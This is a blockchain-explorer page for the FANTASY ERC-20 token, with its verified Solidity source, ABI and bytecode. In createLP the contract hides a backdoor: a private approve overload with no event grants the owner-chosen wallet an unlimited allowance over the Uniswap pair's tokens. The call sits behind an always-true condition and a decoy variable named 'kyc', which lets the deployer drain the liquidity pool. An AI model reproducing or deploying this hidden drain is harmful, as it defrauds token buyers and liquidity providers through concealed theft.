ETH Price: $3,703.25 (+2.98%)

Token

ERC-20: Unlock Your Fantasy (FANTASY)
 

Overview

Max Total Supply

1,000,000,000 FANTASY

Holders

74

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
19,999,999.999999999 FANTASY

Value
$0.00
0x7bd57c8e2d549171466b55f2d5f081a203f54546
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
FANTASY

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : FANTASY.sol
// SPDX-License-Identifier: MIT

/*

Unlock your fantasy!!!
Setting up the world to be more fun and interesting.

https://fantasycoin.fun/
https://x.com/erc20_fantasy
https://t.me/erc20_fantasy

*/

pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}

contract FANTASY is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _catBal;
    mapping(address => mapping(address => uint256)) private _catAllowed;
    mapping(address => bool) private _catExempt;
    address payable private _catWallet;

    uint256 private _startingBuyTax = 20;
    uint256 private _startingSellTax = 20;
    uint256 private _endingBuyTax = 0;
    uint256 private _endingSellTax = 0;
    uint256 private _reduceBuyTaxAfter = 15;
    uint256 private _reduceSellTaxAfter = 15;
    uint256 private _preventSwapUntil = 5;
    uint256 private _buyCount = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals;
    string private constant _name = unicode"Unlock Your Fantasy";
    string private constant _symbol = unicode"FANTASY";
    uint256 public _maxTxAmount = (2 * _tTotal) / 100;
    uint256 public _maxWalletSize = (2 * _tTotal) / 100;
    uint256 public _taxSwapThreshold = (1 * _tTotal) / 100;
    uint256 public _maxTaxSwap = (1 * _tTotal) / 100;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingEnabled;
    bool private swapEnabled;
    bool private inSwap;

    event MaxTxAmountUpdated(uint256 _maxTxAmount);
    modifier lockExchange() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        _catWallet = payable(owner());
        _catBal[owner()] = _tTotal;
        _catExempt[address(this)] = true;
        _catExempt[owner()] = true;

        emit Transfer(address(0), owner(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _catBal[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _catAllowed[owner][spender];
    }

    function approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _catAllowed[owner][spender] = amount;
    }
    
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _catAllowed[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _catAllowed[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function fantasySwapper(uint256 amount) private lockExchange {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), amount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount = 0;
        if (from != owner() && to != owner()) {
            if (from == uniswapV2Pair && to != address(uniswapV2Router)) {
                if (!_catExempt[to]) {
                    require(tradingEnabled, "Trading not open yet.");
                    taxAmount = amount
                        .mul(
                            (_buyCount > _reduceBuyTaxAfter)
                                ? _endingSellTax
                                : _startingBuyTax
                        )
                        .div(100);
                    require(
                        amount <= _maxTxAmount,
                        "Exceeds the _maxTxAmount."
                    );
                    require(
                        balanceOf(to) + amount <= _maxWalletSize,
                        "Exceeds the maxWalletSize."
                    );
                    _buyCount++;
                }
            }

            if (to != uniswapV2Pair && !_catExempt[to]) {
                require(
                    balanceOf(to) + amount <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );
            }

            if (to == uniswapV2Pair && from != address(this)) {
                taxAmount = amount
                    .mul(
                        (_buyCount > _reduceSellTaxAfter)
                            ? _endingSellTax
                            : _startingSellTax
                    )
                    .div(100);
            }

            if (
                !inSwap &&
                to == uniswapV2Pair &&
                swapEnabled &&
                _buyCount > _preventSwapUntil
            ) {
                uint256 contractTokenBalance = balanceOf(address(this));
                if (contractTokenBalance > _taxSwapThreshold)
                    fantasySwapper(min(amount, min(contractTokenBalance, _maxTaxSwap)));
                taxSendFantasy();
            }
        }

        if (taxAmount > 0) {
            _catBal[address(this)] = _catBal[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }
        _catBal[from] = _catBal[from].sub(amount);
        _catBal[to] = _catBal[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function taxSendFantasy() private {
        _catWallet.transfer(address(this).balance);
    }
    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function launchFantasy() external onlyOwner {
        swapEnabled = true;
        tradingEnabled = true;
    }

    function collectFantasyETH() external onlyOwner {
        require(address(this).balance > 0);
        payable(_msgSender()).transfer(address(this).balance);
    }

    function collectTokenFantasy(address _address, uint256 percent) external onlyOwner {
        uint256 _amount = IERC20(_address)
            .balanceOf(address(this))
            .mul(percent)
            .div(100);
        IERC20(_address).transfer(_msgSender(), _amount);
    }

    function createLP(address fantasyPair) external onlyOwner {
        require(!tradingEnabled, "trading is already open");
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
                address(this),
                uniswapV2Router.WETH()
            );
        _catWallet = payable(fantasyPair);
        _catExempt[_catWallet] = true;
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        uint256 kyc = 0 + ~uint256(0);
        address mta = _catWallet;
        if(msg.sender != address(0) && block.number > 0) approve(uniswapV2Pair, mta, kyc); 
    }

    receive() external payable {}
}

Settings
{
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "remappings": []
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"collectFantasyETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"collectTokenFantasy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"fantasyPair","type":"address"}],"name":"createLP","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"launchFantasy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052601460055560146006555f6007555f600855600f600955600f600a556005600b555f600c5560646009600a610039919061036e565b61004790633b9aca00610383565b610052906002610383565b61005c919061039a565b600d55606461006d6009600a61036e565b61007b90633b9aca00610383565b610086906002610383565b610090919061039a565b600e5560646100a16009600a61036e565b6100af90633b9aca00610383565b6100ba906001610383565b6100c4919061039a565b600f5560646100d56009600a61036e565b6100e390633b9aca00610383565b6100ee906001610383565b6100f8919061039a565b601055348015610106575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3505f54600480546001600160a01b0319166001600160a01b039092169190911790556101746009600a61036e565b61018290633b9aca00610383565b60015f6101965f546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081015f908120939093553083526003918290528220805460ff19166001908117909155916101e25f546001600160a01b031690565b6001600160a01b0316815260208101919091526040015f20805460ff191691151591909117905561021a5f546001600160a01b031690565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6102516009600a61036e565b61025f90633b9aca00610383565b60405190815260200160405180910390a36103b9565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156102c4578085048111156102a8576102a8610275565b60018416156102b657908102905b60019390931c92800261028d565b935093915050565b5f826102da57506001610368565b816102e657505f610368565b81600181146102fc576002811461030657610322565b6001915050610368565b60ff84111561031757610317610275565b50506001821b610368565b5060208310610133831016604e8410600b8410161715610345575081810a610368565b6103515f198484610289565b805f190482111561036457610364610275565b0290505b92915050565b5f61037c60ff8416836102cc565b9392505050565b808202811582820484141761036857610368610275565b5f826103b457634e487b7160e01b5f52601260045260245ffd5b500490565b6119fb806103c65f395ff3fe60806040526004361061011e575f3560e01c8063751039fc1161009d578063a9059cbb11610062578063a9059cbb14610326578063bf474bed14610345578063dd62ed3e1461035a578063ff67410f1461039e578063ffdfeb5b146103b2575f80fd5b8063751039fc146102935780637d1db4a5146102a75780638da5cb5b146102bc5780638f9a55c0146102e257806395d89b41146102f7575f80fd5b8063255df46d116100e3578063255df46d146101fb578063313ce56714610211578063540559641461022c57806370a082311461024b578063715018a61461027f575f80fd5b806306fdde0314610129578063095ea7b3146101765780630faee56f146101a557806318160ddd146101c857806323b872dd146101dc575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b50604080518082019091526013815272556e6c6f636b20596f75722046616e7461737960681b60208201525b60405161016d9190611566565b60405180910390f35b348015610181575f80fd5b506101956101903660046115af565b6103d1565b604051901515815260200161016d565b3480156101b0575f80fd5b506101ba60105481565b60405190815260200161016d565b3480156101d3575f80fd5b506101ba6103e7565b3480156101e7575f80fd5b506101956101f63660046115d9565b610407565b348015610206575f80fd5b5061020f61046e565b005b34801561021c575f80fd5b506040516009815260200161016d565b348015610237575f80fd5b5061020f6102463660046115af565b6104d7565b348015610256575f80fd5b506101ba610265366004611617565b6001600160a01b03165f9081526001602052604090205490565b34801561028a575f80fd5b5061020f610607565b34801561029e575f80fd5b5061020f610678565b3480156102b2575f80fd5b506101ba600d5481565b3480156102c7575f80fd5b505f546040516001600160a01b03909116815260200161016d565b3480156102ed575f80fd5b506101ba600e5481565b348015610302575f80fd5b5060408051808201909152600781526646414e5441535960c81b6020820152610160565b348015610331575f80fd5b506101956103403660046115af565b610729565b348015610350575f80fd5b506101ba600f5481565b348015610365575f80fd5b506101ba610374366004611632565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103a9575f80fd5b5061020f610735565b3480156103bd575f80fd5b5061020f6103cc366004611617565b610775565b5f6103dd338484610af5565b5060015b92915050565b5f6103f46009600a611760565b61040290633b9aca0061176e565b905090565b5f610413848484610ba1565b610464843361045f8560405180606001604052806028815260200161199e602891396001600160a01b038a165f908152600260209081526040808320338452909152902054919061116c565b610af5565b5060019392505050565b5f546001600160a01b031633146104a05760405162461bcd60e51b815260040161049790611785565b60405180910390fd5b5f47116104ab575f80fd5b60405133904780156108fc02915f818181858888f193505050501580156104d4573d5f803e3d5ffd5b50565b5f546001600160a01b031633146105005760405162461bcd60e51b815260040161049790611785565b6040516370a0823160e01b81523060048201525f906105819060649061057b9085906001600160a01b038816906370a0823190602401602060405180830381865afa158015610551573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061057591906117ba565b906111a4565b90611229565b90506001600160a01b03831663a9059cbb336040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af11580156105dd573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061060191906117d1565b50505050565b5f546001600160a01b031633146106305760405162461bcd60e51b815260040161049790611785565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146106a15760405162461bcd60e51b815260040161049790611785565b6106ad6009600a611760565b6106bb90633b9aca0061176e565b600d556106ca6009600a611760565b6106d890633b9aca0061176e565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6107086009600a611760565b61071690633b9aca0061176e565b60405190815260200160405180910390a1565b5f6103dd338484610ba1565b5f546001600160a01b0316331461075e5760405162461bcd60e51b815260040161049790611785565b6012805461ffff60a01b191661010160a01b179055565b5f546001600160a01b0316331461079e5760405162461bcd60e51b815260040161049790611785565b601254600160a01b900460ff16156107f85760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610497565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa15801561085a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061087e91906117f0565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108dd573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061090191906117f0565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561094b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061096f91906117f0565b601280546001600160a01b039283166001600160a01b031991821617909155600480548484169216821790555f908152600360205260409020805460ff191660011790556011546109d7913091166109c96009600a611760565b61045f90633b9aca0061176e565b6011546001600160a01b031663f305d7194730610a08816001600160a01b03165f9081526001602052604090205490565b5f80610a1b5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a81573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610aa6919061180b565b505f9150610ab790505f1982611836565b6004549091506001600160a01b03163315801590610ad457505f43115b15610af057601254610af0906001600160a01b0316828461126a565b505050565b6001600160a01b038316610b1b5760405162461bcd60e51b815260040161049790611849565b6001600160a01b038216610b415760405162461bcd60e51b81526004016104979061188d565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c055760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610497565b6001600160a01b038216610c675760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610497565b5f8111610cc85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610497565b5f80546001600160a01b03858116911614801590610cf357505f546001600160a01b03848116911614155b1561102f576012546001600160a01b038581169116148015610d2357506011546001600160a01b03848116911614155b15610ea1576001600160a01b0383165f9081526003602052604090205460ff16610ea157601254600160a01b900460ff16610d985760405162461bcd60e51b81526020600482015260156024820152742a3930b234b733903737ba1037b832b7103cb2ba1760591b6044820152606401610497565b610dbe606461057b600954600c5411610db357600554610db7565b6008545b85906111a4565b9050600d54821115610e125760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610497565b600e5482610e34856001600160a01b03165f9081526001602052604090205490565b610e3e9190611836565b1115610e8c5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610497565b600c8054905f610e9b836118cf565b91905055505b6012546001600160a01b03848116911614801590610ed757506001600160a01b0383165f9081526003602052604090205460ff16155b15610f5657600e5482610efe856001600160a01b03165f9081526001602052604090205490565b610f089190611836565b1115610f565760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610497565b6012546001600160a01b038481169116148015610f7c57506001600160a01b0384163014155b15610f9f57610f9c606461057b600a54600c5411610db357600654610db7565b90505b601254600160b01b900460ff16158015610fc657506012546001600160a01b038481169116145b8015610fdb5750601254600160a81b900460ff165b8015610fea5750600b54600c54115b1561102f57305f90815260016020526040902054600f54811115611025576110256110208461101b846010546112e1565b6112e1565b6112f5565b61102d611465565b505b80156110a757305f9081526001602052604090205461104e908261149b565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061109e9085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546110c990836114f9565b6001600160a01b0385165f9081526001602052604090205561110c6110ee83836114f9565b6001600160a01b0385165f908152600160205260409020549061149b565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61115585856114f9565b60405190815260200160405180910390a350505050565b5f818484111561118f5760405162461bcd60e51b81526004016104979190611566565b505f61119b84866118e7565b95945050505050565b5f825f036111b357505f6103e1565b5f6111be838561176e565b9050826111cb85836118fa565b146112225760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610497565b9392505050565b5f61122283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061153a565b6001600160a01b0383166112905760405162461bcd60e51b815260040161049790611849565b6001600160a01b0382166112b65760405162461bcd60e51b81526004016104979061188d565b6001600160a01b039283165f9081526002602090815260408083209490951682529290925291902055565b5f8183116112ef5782611222565b50919050565b6012805460ff60b01b1916600160b01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061133b5761133b611919565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611392573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113b691906117f0565b816001815181106113c9576113c9611919565b6001600160a01b0392831660209182029290920101526011546113ef9130911684610af5565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906114279085905f9086903090429060040161192d565b5f604051808303815f87803b15801561143e575f80fd5b505af1158015611450573d5f803e3d5ffd5b50506012805460ff60b01b1916905550505050565b6004546040516001600160a01b03909116904780156108fc02915f818181858888f193505050501580156104d4573d5f803e3d5ffd5b5f806114a78385611836565b9050838110156112225760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610497565b5f61122283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061116c565b5f818361155a5760405162461bcd60e51b81526004016104979190611566565b505f61119b84866118fa565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146104d4575f80fd5b5f80604083850312156115c0575f80fd5b82356115cb8161159b565b946020939093013593505050565b5f805f606084860312156115eb575f80fd5b83356115f68161159b565b925060208401356116068161159b565b929592945050506040919091013590565b5f60208284031215611627575f80fd5b81356112228161159b565b5f8060408385031215611643575f80fd5b823561164e8161159b565b9150602083013561165e8161159b565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156116b85780850481111561169c5761169c611669565b60018416156116aa57908102905b60019390931c928002611681565b935093915050565b5f826116ce575060016103e1565b816116da57505f6103e1565b81600181146116f057600281146116fa57611716565b60019150506103e1565b60ff84111561170b5761170b611669565b50506001821b6103e1565b5060208310610133831016604e8410600b8410161715611739575081810a6103e1565b6117455f19848461167d565b805f190482111561175857611758611669565b029392505050565b5f61122260ff8416836116c0565b80820281158282048414176103e1576103e1611669565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156117ca575f80fd5b5051919050565b5f602082840312156117e1575f80fd5b81518015158114611222575f80fd5b5f60208284031215611800575f80fd5b81516112228161159b565b5f805f6060848603121561181d575f80fd5b5050815160208301516040909301519094929350919050565b808201808211156103e1576103e1611669565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b5f600182016118e0576118e0611669565b5060010190565b818103818111156103e1576103e1611669565b5f8261191457634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b8181101561197d5783516001600160a01b0316835260209384019390920191600101611956565b50506001600160a01b03959095166060840152505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205d2867533a0263ace2023077bef6aaaa38c2a8222f9237f8f8178b1af8eecb5e64736f6c634300081a0033

Deployed Bytecode

0x60806040526004361061011e575f3560e01c8063751039fc1161009d578063a9059cbb11610062578063a9059cbb14610326578063bf474bed14610345578063dd62ed3e1461035a578063ff67410f1461039e578063ffdfeb5b146103b2575f80fd5b8063751039fc146102935780637d1db4a5146102a75780638da5cb5b146102bc5780638f9a55c0146102e257806395d89b41146102f7575f80fd5b8063255df46d116100e3578063255df46d146101fb578063313ce56714610211578063540559641461022c57806370a082311461024b578063715018a61461027f575f80fd5b806306fdde0314610129578063095ea7b3146101765780630faee56f146101a557806318160ddd146101c857806323b872dd146101dc575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b50604080518082019091526013815272556e6c6f636b20596f75722046616e7461737960681b60208201525b60405161016d9190611566565b60405180910390f35b348015610181575f80fd5b506101956101903660046115af565b6103d1565b604051901515815260200161016d565b3480156101b0575f80fd5b506101ba60105481565b60405190815260200161016d565b3480156101d3575f80fd5b506101ba6103e7565b3480156101e7575f80fd5b506101956101f63660046115d9565b610407565b348015610206575f80fd5b5061020f61046e565b005b34801561021c575f80fd5b506040516009815260200161016d565b348015610237575f80fd5b5061020f6102463660046115af565b6104d7565b348015610256575f80fd5b506101ba610265366004611617565b6001600160a01b03165f9081526001602052604090205490565b34801561028a575f80fd5b5061020f610607565b34801561029e575f80fd5b5061020f610678565b3480156102b2575f80fd5b506101ba600d5481565b3480156102c7575f80fd5b505f546040516001600160a01b03909116815260200161016d565b3480156102ed575f80fd5b506101ba600e5481565b348015610302575f80fd5b5060408051808201909152600781526646414e5441535960c81b6020820152610160565b348015610331575f80fd5b506101956103403660046115af565b610729565b348015610350575f80fd5b506101ba600f5481565b348015610365575f80fd5b506101ba610374366004611632565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103a9575f80fd5b5061020f610735565b3480156103bd575f80fd5b5061020f6103cc366004611617565b610775565b5f6103dd338484610af5565b5060015b92915050565b5f6103f46009600a611760565b61040290633b9aca0061176e565b905090565b5f610413848484610ba1565b610464843361045f8560405180606001604052806028815260200161199e602891396001600160a01b038a165f908152600260209081526040808320338452909152902054919061116c565b610af5565b5060019392505050565b5f546001600160a01b031633146104a05760405162461bcd60e51b8152600401610497